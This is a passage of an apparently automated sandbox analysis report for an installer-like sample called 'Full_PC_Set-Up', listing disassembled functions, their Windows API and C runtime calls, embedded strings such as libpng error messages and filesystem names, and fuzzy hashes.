swprintf.LIBCMT ref: 002E60DE

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

Part of subcall function 00367BB1: GetDlgItem.USER32(?,000003F7), ref: 00367BC2

Part of subcall function 00367CF1: IsWindow.USER32(?), ref: 00367D05

swprintf.LIBCMT ref: 002E611A

Part of subcall function 00367CF1: SetWindowTextW.USER32(?,000003F7), ref: 00367D2D

swprintf.LIBCMT ref: 002E6156
swprintf.LIBCMT ref: 002E6192
swprintf.LIBCMT ref: 002E61CE
swprintf.LIBCMT ref: 002E620A
swprintf.LIBCMT ref: 002E6246
swprintf.LIBCMT ref: 002E6282

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: swprintf$Window$ItemText__vswprintf_s_l_memset
String ID:
API String ID: 2807851094-0
Opcode ID: a821fb4c0ad9d4f440a00db22921b09eba90568c57d44a0748c98cdcdad2d73b
Instruction ID: 507e39b6749bc499cb3de6fb4baa070cda8082f3f7ec5b8a8a8f0a5af0a6e61b
Opcode Fuzzy Hash: a821fb4c0ad9d4f440a00db22921b09eba90568c57d44a0748c98cdcdad2d73b
Instruction Fuzzy Hash: 0351A3B17483406BD615F7B4CC97EBF73A99B84B00F40890CBD964F3C5EAB8AA058761

Function 00370364 Relevance: 13.6, APIs: 9, Instructions: 96memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0037036B
EnterCriticalSection.KERNEL32(00000000,00000010,00370627,?,00000000,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000,?), ref: 0037037C
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000,?,?,00298738), ref: 0037039A
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4), ref: 003703CE
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000,?), ref: 0037043A
_memset.LIBCMT ref: 00370459
TlsSetValue.KERNEL32(?,00000000), ref: 0037046A
LeaveCriticalSection.KERNEL32(00000000,?,00000000,?,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000,?,?,00298738), ref: 0037048B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: 31b17b7c449cbd325b125473c265b2cafe3b4b4d0170f487fe0060c560bda36b
Instruction ID: 2593a59e4630a5678f1d5681af1aad3c7b64d57761f91c6251631ef29e4bdd3d
Opcode Fuzzy Hash: 31b17b7c449cbd325b125473c265b2cafe3b4b4d0170f487fe0060c560bda36b
Instruction Fuzzy Hash: EE31B274400606EFDB36AF51C885C5ABBB5FF00310B20C52EE65A9B6A1CB75AD50CF95

Function 002EF4E0 Relevance: 13.6, APIs: 9, Instructions: 79COMMON

Download Yara Rule

APIs

~_Task_impl.LIBCPMT ref: 002EF51D

Part of subcall function 0036DF75: __EH_prolog3.LIBCMT ref: 0036DF7C

~_Task_impl.LIBCPMT ref: 002EF52D
~_Task_impl.LIBCPMT ref: 002EF5A7
~_Task_impl.LIBCPMT ref: 002EF5B7
~_Task_impl.LIBCPMT ref: 002EF5C7
~_Task_impl.LIBCPMT ref: 002EF5D7
~_Task_impl.LIBCPMT ref: 002EF5E7
~_Task_impl.LIBCPMT ref: 002EF5F7
~_Task_impl.LIBCPMT ref: 002EF603

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Task_impl$H_prolog3
String ID:
API String ID: 1204490572-0
Opcode ID: 898ca7b0d6b270386647bc40d145ff361bda66a9f94bf12c786f0ee1eaf7a139
Instruction ID: 8710d61c8b78ced8e3a354683cf763f2b180050042ee7e7d98f77e79be8af535
Opcode Fuzzy Hash: 898ca7b0d6b270386647bc40d145ff361bda66a9f94bf12c786f0ee1eaf7a139
Instruction Fuzzy Hash: 57318470444B828FD326EF74C485B9BBBE4BF24300F544D2DE4AE86252DB75A548CB92

Function 002F11D0 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 303windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F1233
_memset.LIBCMT ref: 002F124A

Part of subcall function 0036414F: __EH_prolog3_catch.LIBCMT ref: 00364156

Part of subcall function 002EE770: _memset.LIBCMT ref: 002EE78A
Part of subcall function 002EE770: _memset.LIBCMT ref: 002EE79D
Part of subcall function 002EE770: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 002EE81A
Part of subcall function 002EE770: SendMessageW.USER32(?,00000147,00000000,00000000), ref: 002EE82F
Part of subcall function 002EE770: SendMessageW.USER32(?,00000150,00000000,00000000), ref: 002EE840

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 002F13AB
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 002F13FF
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 002F1470
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 002F14E1

Part of subcall function 002F1EC0: SendMessageW.USER32(?,00000147,00000000,00000000), ref: 002F1EE0
Part of subcall function 002F1EC0: SendMessageW.USER32(?,00000147,00000000,00000000), ref: 002F1F25
Part of subcall function 002F1EC0: SendMessageW.USER32(?,00000147,00000000,00000000), ref: 002F1FA1
Part of subcall function 002F1EC0: SendMessageW.USER32(?,00000147,00000000,00000000), ref: 002F1FBC
Part of subcall function 002F1EC0: SendMessageW.USER32(?,00000147,00000000,00000000), ref: 002F201E

Strings

[^\x5c/:"<>|]+, xrefs: 002F12B6

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$_memset$H_prolog3_catch
String ID: [^\x5c/:"<>|]+
API String ID: 3748908064-805723635
Opcode ID: 2229607931ea7c3bc27d4e9f3bb05a06db4193ebd6a6a310e9708415bcf0be50
Instruction ID: 7f85079c90b2ee7cc0f6a1efbb8c609d43fb19aea79cf5cf901088be2e5f74ce
Opcode Fuzzy Hash: 2229607931ea7c3bc27d4e9f3bb05a06db4193ebd6a6a310e9708415bcf0be50
Instruction Fuzzy Hash: FEC1BF716187818FD734DF14C881BEBB7E5EFC8300F444A6DE9899B291DB70A915CBA2

Function 002E6C50 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 156comtimeCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 002E6C97

Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB80
Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB8D

GetWindowRect.USER32(?,?), ref: 002E6CAF
GetWindowRect.USER32(?,?), ref: 002E6CC4
InvalidateRect.USER32(?,00000000,00000000), ref: 002E6D5A
SetTimer.USER32(?,00000001,000003E8,00000000), ref: 002E6DA0
CoCreateInstance.OLE32(005055C8,00000000,00000017,0053D1F0,?,?,?,?,?,00000000,00000000,00000000,00000014,00000014,00000006), ref: 002E6DD5

Strings

fail to set timer., xrefs: 002E6DAA

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Window$ClientScreen$CreateInstanceInvalidateTimer
String ID: fail to set timer.
API String ID: 3074389006-1549691948
Opcode ID: a5a38a22433f83813163407f7c199c97c1f56ffaa02474f63f8618a1f8709d49
Instruction ID: 113e84d90a42fead8a26285a09921df97e483a69badecf3190f1384653b88af1
Opcode Fuzzy Hash: a5a38a22433f83813163407f7c199c97c1f56ffaa02474f63f8618a1f8709d49
Instruction Fuzzy Hash: 9F51EE71340241ABDB20EF29CC85F9A77A9FF88754F540668F9099F2D6DB74E801CBA0

Function 002E8F30 Relevance: 12.4, APIs: 8, Instructions: 383COMMON

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 002E8F81
std::_String_base::_Xlen.LIBCPMT ref: 002E8FAD
_memmove_s.LIBCMT ref: 002E9037
_memcpy_s.LIBCMT ref: 002E9075
_memmove_s.LIBCMT ref: 002E90BF
_memmove_s.LIBCMT ref: 002E9108
_memmove_s.LIBCMT ref: 002E9160
_memmove_s.LIBCMT ref: 002E9195

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memmove_s$String_base::_Xlenstd::_$_memcpy_s
String ID:
API String ID: 3470545318-0
Opcode ID: b8da079e03f21d948f39325bbf867c8ee88318de6e01045aa74d2d2ed8a0a361
Instruction ID: 18635c8e74d334aa0a3617366a4c112a10b42db20f2fc0ce437fbecae86fa8bf
Opcode Fuzzy Hash: b8da079e03f21d948f39325bbf867c8ee88318de6e01045aa74d2d2ed8a0a361
Instruction Fuzzy Hash: A6D173707242429FCB04CF1AC8D495F77ABFFC8304BA04A5EE5498B219DB70D996CB91

Function 0040E1E0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0040E2BE
_fprintf.LIBCMT ref: 0040E2D4
_fprintf.LIBCMT ref: 0040E2FE
_fprintf.LIBCMT ref: 0040E317
_fprintf.LIBCMT ref: 0040E32D

Strings

libpng warning no. %s: %s, xrefs: 0040E2AB
libpng warning: %s, xrefs: 0040E2F0, 0040E309

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _fprintf
String ID: libpng warning no. %s: %s$libpng warning: %s
API String ID: 1654120334-3037164969
Opcode ID: 710c4ae56544ff6f0d15fcfa1bbeb9cd54487465b4c728183d649ccc5748c378
Instruction ID: bd7a50cfa54bbfe28225d9e40ce7b3c34a3ec1fe095dff4308574edeabeaa66c
Opcode Fuzzy Hash: 710c4ae56544ff6f0d15fcfa1bbeb9cd54487465b4c728183d649ccc5748c378
Instruction Fuzzy Hash: 92419EF2C083405ED712AB75C846A5B7F98AF55308F4508ADF4896B383E538DA09C357

Function 00368F7E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117threadwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00368ECC: GetParent.USER32(?), ref: 00368F20
Part of subcall function 00368ECC: GetLastActivePopup.USER32(?), ref: 00368F31
Part of subcall function 00368ECC: IsWindowEnabled.USER32(?), ref: 00368F45
Part of subcall function 00368ECC: EnableWindow.USER32(?,00000000), ref: 00368F58

EnableWindow.USER32(?,00000001), ref: 00368FCB
GetWindowThreadProcessId.USER32(?,?), ref: 00368FDF
GetCurrentProcessId.KERNEL32 ref: 00368FE9
SendMessageW.USER32(?,00000376,00000000,00000000), ref: 00369001
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0036907D
EnableWindow.USER32(00000000,00000001), ref: 003690C4

Strings

0, xrefs: 00369056

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID: 0
API String ID: 1877664794-4108050209
Opcode ID: a467b85cc5848f1c0cb555ef2983eadf773deac8160a7d572b05d74d169910de
Instruction ID: 7b2c39ab51244d6abaabd398037e5966c6b5a715b53d0dae32f98232a68ca1ef
Opcode Fuzzy Hash: a467b85cc5848f1c0cb555ef2983eadf773deac8160a7d572b05d74d169910de
Instruction Fuzzy Hash: F641D272A002199BDB229F64CC89B9AB7BDFF04310F2545AAF519D6184D771CE808B94

Function 0040E080 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0040E172
_fprintf.LIBCMT ref: 0040E194
_fprintf.LIBCMT ref: 0040E1AA
_longjmp.LIBCMT ref: 0040E1BE

Strings

libpng error: %s, xrefs: 0040E186
libpng error: %s, offset=%d, xrefs: 0040E17E
libpng error no. %s: %s, xrefs: 0040E164

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _fprintf$_longjmp
String ID: libpng error no. %s: %s$libpng error: %s$libpng error: %s, offset=%d
API String ID: 1538967629-1871849264
Opcode ID: be47dd81ea0c68e58613de72d53d3ae393b582e61d1d66d4a3e24890e4b5d0cf
Instruction ID: 5e3e20b2a560af83dcefe75666225bcef701238a3197548ea0eae8f82502e850
Opcode Fuzzy Hash: be47dd81ea0c68e58613de72d53d3ae393b582e61d1d66d4a3e24890e4b5d0cf
Instruction Fuzzy Hash: 464139B18083419ED311AF29C841A5B7BD4AF59308F494DAEF4896F383E638DA09C356

Function 002EB970 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 88COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32(?,?,00000104,?,?,?,?,00000104,00000000,?), ref: 002EB9E0
__wcsnicmp.LIBCMT ref: 002EBA66

Strings

NTFS, xrefs: 002EB9EE, 002EBA60
FAT16, xrefs: 002EB9FE
FAT12, xrefs: 002EB9F6
exFAT, xrefs: 002EBA0E
FAT32, xrefs: 002EBA06

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: InformationVolume__wcsnicmp
String ID: FAT12$FAT16$FAT32$NTFS$exFAT
API String ID: 466565422-2046129899
Opcode ID: 718250772d1857a82aeaac4640d7837f6bf390a37938e3636e3576c6484829c9
Instruction ID: 6846cfdb5786f4b960656dc01b149e9f23abb94044039d51168240626db3144b
Opcode Fuzzy Hash: 718250772d1857a82aeaac4640d7837f6bf390a37938e3636e3576c6484829c9
Instruction Fuzzy Hash: B7316FB25083419BD720EF19D885B9FBBE8FBC8314F84492DE68E8B241D7749509CB97

Function 002DCAD0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 002DCB07

Part of subcall function 003879F3: RaiseException.KERNEL32(?,?,?,?), ref: 00387A35

__CxxThrowException@8.LIBCMT ref: 002DCB66
__CxxThrowException@8.LIBCMT ref: 002DCBA8
__CxxThrowException@8.LIBCMT ref: 002DCBE6

Strings

ios_base::badbit set, xrefs: 002DCB18
ios_base::failbit set, xrefs: 002DCB6F
ios_base::eofbit set, xrefs: 002DCBAD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3476068407-1866435925
Opcode ID: 11ac81de70fe2e1c5fffba70d21fd30802c9872448aea1bfdced68c3464f37ae
